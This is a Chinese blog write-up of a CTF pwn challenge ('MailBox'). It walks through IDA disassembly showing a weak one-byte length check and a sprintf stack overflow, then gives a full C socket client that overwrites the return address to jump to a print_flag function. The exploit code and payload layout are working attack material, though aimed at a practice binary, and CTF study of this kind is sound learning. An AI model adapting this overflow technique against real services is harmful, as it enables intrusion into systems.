MailBox writeup（step1）

原创

zh_explorer 于 2015-04-22 19:13:27 发布 914 收藏
分类专栏： hduisa内部平台writeup 文章标签： pwn writeup ctf

本文链接：https://blog.csdn.net/zh_explorer/article/details/45199277

又是一道pwn。这题貌似是蓝莲花的题目=,=

先用连接上去看看，好像是个发送邮件的程序，有很多的字符串的输入，但是好像都是限制了长度了。长度限制一到就毫不留情的结束输入。
看不出什么，直接丢ida。
主要的代码都在main函数里面。相当坑爹的流程，慢慢理清楚吧。

溢出点是在sendmail函数里面。

```
.text:08049362  mov     dword ptr [esp], offset aTitle ; "Title:"
.text:08049369  call    _printf
.text:0804936E  mov     dword ptr [esp+4], 0FFh ; a2
.text:08049376  mov     eax, [ebp+title]
.text:08049379  mov     [esp], eax      ; a1
.text:0804937C  call    get_input
.text:08049381  mov     dword ptr [esp], offset aTitle ; "Title:"
.text:08049388  call    _printf
.text:0804938D  mov     eax, [ebp+title]
.text:08049390  mov     [esp], eax      ; format
.text:08049393  call    _printf
.text:08049398  mov     dword ptr [esp], 0Ah ; c
.text:0804939F  call    _putchar
.text:080493A4  mov     dword ptr [esp], offset aBody ; "Body:"
.text:080493AB  call    _printf
.text:080493B0  mov     dword ptr [esp+4], 0FFh ; a2
.text:080493B8  mov     eax, [ebp+body]
.text:080493BB  mov     [esp], eax      ; a1
.text:080493BE  call    get_input
.text:080493C3  mov     [ebp+bodylength], 0
.text:080493C7  mov     [ebp+titlelength], 0
.text:080493CB  mov     eax, [ebp+body]
.text:080493CE  mov     [esp], eax      ; s
.text:080493D1  call    _strlen         ;这里返回输入的body的长度
.text:080493D6  mov     [ebp+bodylength], al
.text:080493D9  mov     eax, [ebp+title]
.text:080493DC  mov     [esp], eax      ; s
.text:080493DF  call    _strlen         ;这里是title的长度
.text:080493E4  mov     [ebp+titlelength], al
.text:080493E7  movzx   eax, [ebp+titlelength]
.text:080493EB  movzx   edx, [ebp+bodylength]
.text:080493EF  add     eax, edx
.text:080493F1  cmp     al, 78h         ;两个长度相加和78比较，过大则退出。
.text:080493F3  jle     short loc_804940E
```

虽然有限制，但是不感觉al太小了吗？稍微构造一下body和title的长度。这个限制几乎没用。
这里有一段

```
.text:0804942A                  mov     dword ptr [esp+4], offset aInsertIntoInbo ; "insert into inbox "
.text:08049432                  lea     eax, [ebp+bigsql]
.text:08049438                  mov     [esp], eax      ; s
.text:0804943B                  call    _sprintf
```

栈长度不够，可以构造溢出。然后程序中有打印flag的函数。

```
.text:08048BBD                  public print_flag
```

返回到这里就可以了。
然后因为输入中有用户名等等的，所以构造的参数有所不同。
主要是
`'a'*220 + 0x08048BBD(函数地址)`
至于怎么凑出220个字符就随意了。

给段代码。代码略长，会写的跳过吧。

```
```

```c
#include<winsock2.h>
#include<stdio.h>
#include <Windows.h>

#pragma comment(lib,"ws2_32.lib")
int main (void)
{
    int i;
    WSADATA wsaData;
    SOCKET sockClient;
    SOCKADDR_IN addrServer;
    char    recvBuf[5000]={0};
    char    message[5000]={0};
    WSAStartup(MAKEWORD(2,2),&wsaData);
    sockClient=socket(AF_INET,SOCK_STREAM,0);

    addrServer.sin_addr.S_un.S_addr=inet_addr("****hide****");
    addrServer.sin_family=AF_INET; addrServer.sin_port=htons(7775);
    connect(sockClient,(SOCKADDR*)&addrServer,sizeof(SOCKADDR));

    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*****************************************************************\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);

    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*****************************************************************\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);

    //Login
    message[0]='2';
    message[1]='a';
    send(sockClient,message,2,0);
    Sleep(1000);

    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*****************************************************************\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);

    //name
    for(i=1;i<10;i++)
        message[i-1]=i+48;
    message[9]='0';
    message[10]='1';
    //message[11]=0x0a;
    send(sockClient,message,11,0);
    Sleep(1000);

    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*****************************************************************\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);

    //pass
    message[0]='1';
    message[1]='2';
    message[2]='3';
```

```
message[3]='4';
message[4]='5';
//message[5]='\n';
send(sockClient,message,5,0);
Sleep(1000);

recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n**************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);


//send mail
message[0]='3';
message[1]='a';
send(sockClient,message,2,0);
Sleep(1000);

recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n**************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);

//to
for(i=1;i<30;i++)
{
    message[i-1]='a';
}
send(sockClient,message,29,0);
Sleep(1000);

recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n**************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);


//title
for(i=1;i<250;i++)
{
    message[i-1]='a';
}
message[119]=0xbd;              //这里是返回值
message[120]=0x8b;
message[121]=0x04;
message[122]=0x08;
message[249]=0x0a;
send(sockClient,message,250,0);

Sleep(1000);
recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n**************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);

//body
for(i=1;i<55;i++)
{                               //凑点字符满足长度
    message[i-1]='a';
```

```
        }
        message[54]=0x0a;
        send(sockClient,message,55,0);
        Sleep(1000);

        recv(sockClient,recvBuf,1000,0);
        printf("%s",recvBuf);
        printf("\n*****************************************************************\n");
        for(i=0;i<1000;recvBuf[i]=0,i++);

        closesocket(sockClient);
        WSACleanup();
        return 0;
    }
```

啥，你说python，python是什么，能吃吗？

这题还有个step，分两部分吧。